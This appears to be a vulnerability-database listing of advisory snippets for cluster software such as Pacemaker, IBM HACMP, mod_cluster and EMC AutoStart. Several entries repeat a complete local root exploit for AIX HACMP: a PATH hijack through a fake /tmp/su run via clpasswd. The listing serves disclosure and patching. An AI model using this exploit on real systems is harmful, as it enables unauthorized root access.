[SECURITY] Fedora 22 Update: pacemaker-1.1.13-3.fc22

Pacemaker is an advanced, scalable High-Availability cluster resource manager for Corosync, CMAN and/or Linux-HA. It supports more than 16 node clusters with significant capabilities for managing resources and dependencies. It will run scripts at initialization, when machines go up or down, when...

Oracle: Security Advisory (ELSA-2007-0640)

The remote host is missing an update for the SPDX-FileCopyrightText: 2015 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Oracle: Security Advisory (ELSA-2009-1339)

The remote host is missing an update for the SPDX-FileCopyrightText: 2015 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Oracle: Security Advisory (ELSA-2010-0567)

The remote host is missing an update for the SPDX-FileCopyrightText: 2015 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Microsoft Chooses Ubuntu Linux for their Cloud-based Azure HDInsight Big Data Solution

Earlier this month, Microsoft surprised us all with the announcement that they built a Linux kernel-based operating system, Azure Cloud Switch ACS, for developing software products for Network Devices. Now, Microsoft just announced that they have selected Ubuntu as the operating system for their...

AIX 6.1 TL 0 : powerha (IV76943) (deprecated)

IBM PowerHA SystemMirror has a systems management feature CSPOC which includes an option to allow users to change their password cluster-wide. Once added to this list, a non-root user may be able to exploit a vulnerability in one of the scripts shipped with the product to switch user su to the ro...

IBM AIX High Availability Cluster Multiprocessing (HACMP) - Local Privilege Escalation

IBM AIX High Availability Cluster Multiprocessing HACMP LPE to root 0day Let's kill some more bugs today and force vendor improvement : """ $ cat /tmp/su !/bin/sh /bin/sh $ chmod +x /tmp/su $ PATH=/tmp /usr/es/sbin/cluster/utilities/clpasswd /usr/bin/whoami root """ References:...

IBM AIX HACMP Privlege Escalation

IBM AIX High Availability Cluster Multiprocessing HACMP LPE to root 0day Let's kill some more bugs today and force vendor improvement : """ $ cat /tmp/su !/bin/sh /bin/sh $ chmod +x /tmp/su $ PATH=/tmp /usr/es/sbin/cluster/utilities/clpasswd /usr/bin/whoami root """ References:...

IBM AIX High Availability Cluster Multiprocessing (HACMP) Local Privilege Escalation 0day

Exploit for aix platform in category local exploits IBM AIX High Availability Cluster Multiprocessing HACMP LPE to root 0day Let's kill some more bugs today and force vendor improvement : """ $ cat /tmp/su !/bin/sh /bin/sh $ chmod +x /tmp/su $ PATH=/tmp /usr/es/sbin/cluster/utilities/clpasswd...

IBM AIX High Availability Cluster Multiprocessing (HACMP) - Local Privilege Escalation

IBM AIX High Availability Cluster Multiprocessing HACMP - Local Privilege Escalation IBM AIX High Availability Cluster Multiprocessing HACMP LPE to root 0day Let's kill some more bugs today and force vendor improvement : """ $ cat /tmp/su !/bin/sh /bin/sh $ chmod +x /tmp/su $ PATH=/tmp...

mod_cluster: JavaScript code injection is possible via MCMP mod_manager messages

A flaw was found in the way the modcluster manager processed certain MCMP messages. An attacker with access to the network from which MCMP messages are allowed to be sent could use this flaw to execute arbitrary JavaScript code in the modcluster manager web interface...

Scientific Linux Security Update : pacemaker on SL6.x i386/x86_64 (20150722)

A flaw was found in the way pacemaker, a cluster resource manager, evaluated added nodes in certain situations. A user with read-only access could potentially assign any other existing roles to themselves and then add privileges to other users as well. CVE-2015-1867 This update also fixes the...

pacemaker security update

CentOS Errata and Security Advisory CESA-2015:1424 Updated pacemaker packages that fix one security issue and several bugs are now available for Red Hat Enterprise Linux 6. Red Hat Product Security has rated this update as having Moderate security impact. A Common Vulnerability Scoring System CVS...

RHEL 6 : pacemaker (RHSA-2015:1424)

The remote Redhat Enterprise Linux 6 host has packages installed that are affected by a vulnerability as referenced in the RHSA-2015:1424 advisory. The Pacemaker Resource Manager is a collection of technologies working together to provide data integrity and the ability to maintain application...

pacemaker: acl read-only access allow role assignment

A flaw was found in the way pacemaker, a cluster resource manager, evaluated added nodes in certain situations. A user with read-only access could potentially assign any other existing roles to themselves and then add privileges to other users as well...

Oracle solaris Cluster DevFS Component Denial of Service Vulnerability

Oracle solaris is a unix operating system. A security vulnerability exists in the Oracle solaris Cluster DevFS component that could be exploited by a local attacker to crash the system...

EMC AutoStart ftagent Remote Command Execution (CVE-2015-0538)

A remote command execution vulnerability exists in EMC AutoStart. The vulnerability is due to insecure communication between the ftagent processes on nodes of an AutoStart cluster. A remote unauthenticated attacker can leverage this vulnerability by sending malicious requests to the ftagent proce...

[SECURITY] Fedora 20 Update: pcs-0.9.115-3.fc20

pcs is a corosync and pacemaker configuration tool. It permits users to easily view, modify and created pacemaker based clusters...

SUSE-SU-2015:1102-1 Security update for SES 1.0

This collective update for SUSE Enterprise Storage 1.0 provides fixes and enhancements. ceph update to version 0.80.9: - Support non-ASCII characters. bnc907510 - Fixes issue with more than one OSD / MON on same node. bnc927862 - Reinstates Environment=CLUSTER=ceph lines removed by last patch...

CVE-2015-0189

The cluster repository manager in IBM WebSphere MQ 7.5 before 7.5.0.5 and 8.0 before 8.0.0.2 allows remote authenticated administrators to cause a denial of service memory overwrite and daemon outage by triggering multiple transmit-queue records...